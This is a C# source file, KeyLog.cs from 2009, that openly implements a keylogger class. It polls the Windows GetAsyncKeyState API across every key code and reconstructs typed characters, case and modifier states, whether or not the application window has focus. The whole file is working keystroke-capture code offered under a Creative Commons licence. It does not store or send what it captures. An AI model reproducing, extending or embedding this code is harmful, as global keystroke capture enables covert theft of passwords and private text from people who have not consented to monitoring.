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* Name: KeyLog.cs
* Version: 1.1
* Date: 2009
* Description:
* Gets the key pressed by the user, whether the form has focus or not.
* It can detect Shift/Control/CapsLock, which means it can detect upper/lower case.
* However this version does not detect special characters or the Alt key (still to do).
* Copyright:
* Developed by Carlos Raposo.
* crwld.org @ 2009
* This work is licenced under a Creative Commons Licence.
* Please refer to: creativecommons.org/licenses/by-nc-sa/3.0/ for more information. */
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
public class KeyLog
{
//-> Declare GetAsyncKeyState().
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(Keys vKey); //To check the current status of a virtual key.
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(Int32 vKey); //To check the current status of a virtual key.
[DllImport("user32.dll")]
private static extern short GetKeyState(Keys vKey); //To check if a key is currently toggled (on/off).
[DllImport("user32.dll")]
private static extern short GetKeyState(Int32 vKey); //To check if a key is currently toggled (on/off).
//-> getKey() checks what keys have been pressed and returns the pressed keys, if any.
//-> Otherwise, returns null.
//-> The pressed keys are returned in a List<string> as (string)char/key name.
public List<string> getKey()
{
List<string> myKeys = new List<string>(); //Declare the list of keys as int.
for (int i = 0; i <= 255; i++) //Go through all key codes to check if any key is pressed.
{
int j = GetAsyncKeyState(i); //Get state of key i.
if (j == -32767) //Check if key is pressed.
{
if (i >= 65 && i <= 122) //From char 65 to 122
{
if (ShiftKey && CapsLock) //If Shift and CapsLock are toggled.
myKeys.Add(((char)(i + 32)).ToString()); //Lower case.
else if (ShiftKey) //If Shift or CapsLock is toggled.
myKeys.Add(((char)(i)).ToString()); //Upper case.
else if (CapsLock) //If Shift or CapsLock is toggled.
myKeys.Add(((char)(i)).ToString()); //Upper case.
else //Any other situation.
myKeys.Add(((char)(i + 32)).ToString()); //Lower case.
}
else if (i >= 48 && i <= 57) //From char 48 to 57
{
if (ShiftKey) //If Shift is toggled.
myKeys.Add(((char)(i - 16)).ToString()); //Symbols.
else //If Shift is not toggled.
myKeys.Add(((char)(i)).ToString()); //Numbers.
}
else
myKeys.Add(Enum.GetName(typeof(Keys), i)); //Any other situation.
//Check keys toggled
if (ShiftKey && !(myKeys.Contains(Keys.ShiftKey.ToString())))
myKeys.Add(Keys.ShiftKey.ToString()); //Add 'ShiftKey' if enabled.
if (ShiftKeyL && !(myKeys.Contains(Keys.LShiftKey.ToString())))
myKeys.Add(Keys.LShiftKey.ToString()); //Add 'LShiftKey' if enabled.
if (ShiftKeyR && !(myKeys.Contains(Keys.RShiftKey.ToString())))
myKeys.Add(Keys.RShiftKey.ToString()); //Add 'RShiftKey' if enabled.
if (ControlKey && !(myKeys.Contains(Keys.ControlKey.ToString())))
myKeys.Add(Keys.ControlKey.ToString()); //Add 'ControlKey' if enabled.
if (ControlKeyL && !(myKeys.Contains(Keys.LControlKey.ToString())))
myKeys.Add(Keys.LControlKey.ToString()); //Add 'LControlKey' if enabled.
if (ControlKeyR && !(myKeys.Contains(Keys.RControlKey.ToString())))
myKeys.Add(Keys.RControlKey.ToString()); //Add 'RControlKey' if enabled.
if (AltKey && !(myKeys.Contains(Keys.Menu.ToString())))
myKeys.Add(Keys.Menu.ToString()); //Add 'Menu' (Alt key) if enabled.
if (AltKeyL && !(myKeys.Contains(Keys.LMenu.ToString())))
myKeys.Add(Keys.LMenu.ToString()); //Add 'LMenu' if enabled.
if (AltKeyR && !(myKeys.Contains(Keys.RMenu.ToString())))
myKeys.Add(Keys.RMenu.ToString()); //Add 'RMenu' if enabled.
if (CapsLock && (!(myKeys.Contains(Keys.CapsLock.ToString())) && !(myKeys.Contains(Keys.CapsLock.ToString() + "[Enabled]"))))
myKeys.Add(Keys.CapsLock.ToString() + "[Enabled]"); //Add 'CapsLock[Enabled]' if enabled.
if (NumLock && (!(myKeys.Contains(Keys.NumLock.ToString())) && !(myKeys.Contains(Keys.NumLock.ToString() + "[Enabled]"))))
myKeys.Add(Keys.NumLock.ToString() + "[Enabled]"); //Add 'NumLock' if enabled.
}
}
return myKeys; //Return the list.
}
//-> Get keys toogle state (on/off).
#region Toggles
public static bool ControlKey
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey)); }
}
public static bool ControlKeyL
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LControlKey)); }
}
public static bool ControlKeyR
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RControlKey)); }
}
public static bool ShiftKey
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)); }
}
public static bool ShiftKeyL
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LShiftKey)); }
}
public static bool ShiftKeyR
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RShiftKey)); }
}
public static bool AltKey
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu)); }
}
public static bool AltKeyL
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LMenu)); }
}
public static bool AltKeyR
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RMenu)); }
}
public static bool CapsLock
{
get { return Convert.ToBoolean(GetKeyState(Keys.CapsLock)); }
}
public static bool NumLock
{
get { return Convert.ToBoolean(GetKeyState(Keys.NumLock)); }
}
#endregion
}